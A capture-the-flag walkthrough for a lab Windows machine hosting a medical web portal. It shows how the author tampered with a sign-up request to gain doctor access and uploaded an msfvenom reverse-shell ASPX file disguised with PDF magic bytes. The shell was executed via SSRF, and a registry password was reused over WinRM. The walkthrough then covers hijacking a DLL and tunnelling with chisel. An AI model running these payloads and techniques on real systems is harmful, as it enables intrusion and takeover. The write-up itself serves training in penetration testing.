
Week 5. Appsanity
TL;DR
This is a Windows 10 machine running a medical web application. Manipulating HTTP requests we can get privileged access in the application and upload a malicious ASPX shell. To execute the shell an SSRF attack is used. Regarding escalation, reversing of a .NET local service with dnSpy is needed, and also reversing of an executable with Ghidra.
KEYWORDS
Insecure file upload, SSRF, reversing, dnSpy, Ghidra, port forwarding.
REFERENCES
https://github.com/dnSpy/dnSpy
ENUMERATION
Port scan.
> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-31 10:08 EDT
Nmap scan report for 10.129.190.19
Host is up, received user-set (0.067s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack
443/tcp open https syn-ack
5985/tcp open wsman syn-ack
Nmap done: 1 IP address (1 host up) scanned in 95.04 seconds
Enumerate the open ports.
> nmap $target -p80,443,5985 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-31 10:12 EDT
Nmap scan report for meddigi.htb (10.129.190.19)
Host is up, received user-set (0.066s latency).
Scanned at 2023-10-31 10:12:17 EDT for 22s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://meddigi.htb/
443/tcp open https? syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap done: 1 IP address (1 host up) scanned in 22.76 seconds
Add to hosts
file and fuzz for hidden subdomains on port 443.
> ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fc 404 -t 100 -u https://meddigi.htb -H "Host: FUZZ.meddigi.htb"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://meddigi.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.meddigi.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
portal [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 3394ms]
:: Progress: [4989/4989] :: Job [1/1] :: 163 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
Add subdomain to hosts
file and browse with Firefox.
We notice we cannot access the HTTP 80 service externally. Take note of this because this service can maybe be accessed internally later if we find a place to launch an SSRF attack.
USER
Sign up a new account and intercept the request. You can see there is a parameter called AccType
set to "1". Manipulate it with Burpsuite and set it to "2", forward the request and log in using the recently created account. Verify we have made ourselves a doctor account.
We also notice in the cookie editor we have been granted an access token.
We can reuse this token to get access to the portal reserved for doctors. Just browse the site https://portal.meddigi.htb, fill in the email ID with the one you chose when signing up and enter the access_token
with the cookie editor.
Click on "Login" and you are inside the doctors panel.
Move to the "Upload report" tab. If you try to upload a shell, there is an extension filter ongoing which only accepts PDF files. Experimenting with the filter, we find out the backend only checks the file magic bytes, and it does not check file extensions.
Prepare an msfvenom
ASPX shell.
> msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.xxx.xxx lport=1919 -f aspx -a x64 --platform windows
To upload the shell, navigate to the "Upload report" tab.
Upload any PDF at hand and intercept the request, keep the PDF magic bytes and remove the rest. Copy the msfvenom
shell and change the filename and to an .aspx
extension, forward the request and let the upload finish.
To execute the shell, navigate to the "Issue prescriptions" tab and in the prescription link try an SSRF attack. Enter the URL http://127.0.0.1:8080 to view all the medical reports that have been uploaded, in the output you can view the path of the malicious uploaded report.
.../ViewReport.aspx?file=f6673d08-592a-44a3-a863-da678b74e0b4_document.aspx
To execute the .aspx
shell, use the SSRF vulnerability again pointing to the uploaded shell path we have just disclosed.
http://127.0.0.1:8080/ViewReport.aspx?file=f6673d08-592a-44a3-a863-da678b74e0b4_document.aspx
A reverse shell is received that can be used to retrieve the user flag.
SYSTEM
Enumerate the user and the system.
> whoami
appsanity\svc_exampanel
> systeminfo
Host Name: APPSANITY
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
System Type: x64-based PC
> net user
User accounts for \\APPSANITY
-------------------------------------------------------------------------------
Administrator DefaultAccount devdoc
Guest svc_exampanel svc_meddigi
svc_meddigiportal WDAGUtilityAccount
The command completed successfully.
Remember there was a 5985 service open? Let's see who is allowed to use it.
> net localgroup "remote management users"
Alias name remote management users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
devdoc
The command completed successfully.
It seems our next goal is to move laterally to user devdoc
to gain winRM remote access.
After largely enumerating the file system, we find this DLL.
c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
This is decompiled with dnspy
, a tool for reversing .NET applications (https://github.com/dnSpy/dnSpy), and we find several calls to a registry key software\meddigi
Next step is to query the register. You can find a password in key HKEY_LOCAL_MACHINE\software\meddigi
. The password is 1g0tTh3R3m3dy!!
If you spray the password with crackmapexec
you'll find the password works for user devdoc
. Use the local users list we have previously enumerated.
> evil-winrm -u devdoc -p '1g0tTh3R3m3dy!!' -i meddigi.htb
Turns out that under this user's context we can browse this folder.
c:\program files\reportmanagement
Where we find the file reportmanagement.exe
. Reversing the binary with Ghidra, we find out it uses DLL files located in the libraries
folder when running the upload
command.
So our next step is to place a malicious DLL in that folder. This payload can be generated with msfvenom
. We will name it externalupload.dll
. Copy the malicious DLL into the path c:\program files\reportmanagement\libraries\externalupload.dll
> msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.xxx.xxx lport=9001 -f dll -a x64 --platform windows > externalupload.dll
Investigating how to launch the process, we discover it is internally running on port 100.
> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:100 0.0.0.0:0 LISTENING 4432
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 904
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 1196
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4
To forward this port to our attacking machine we use chisel
> ./chisel64 server -p 8000 --reverse
> .\chisel64.exe client 10.10.xxx.xxx:8000 R:100:127.0.0.1:100
In order to trigger the reverse shell we just need the application running on port 100 to make use of our malicious DLL. Connect to the application an run command upload externalupload
. A reverse shell is received on port 9001.
Last updated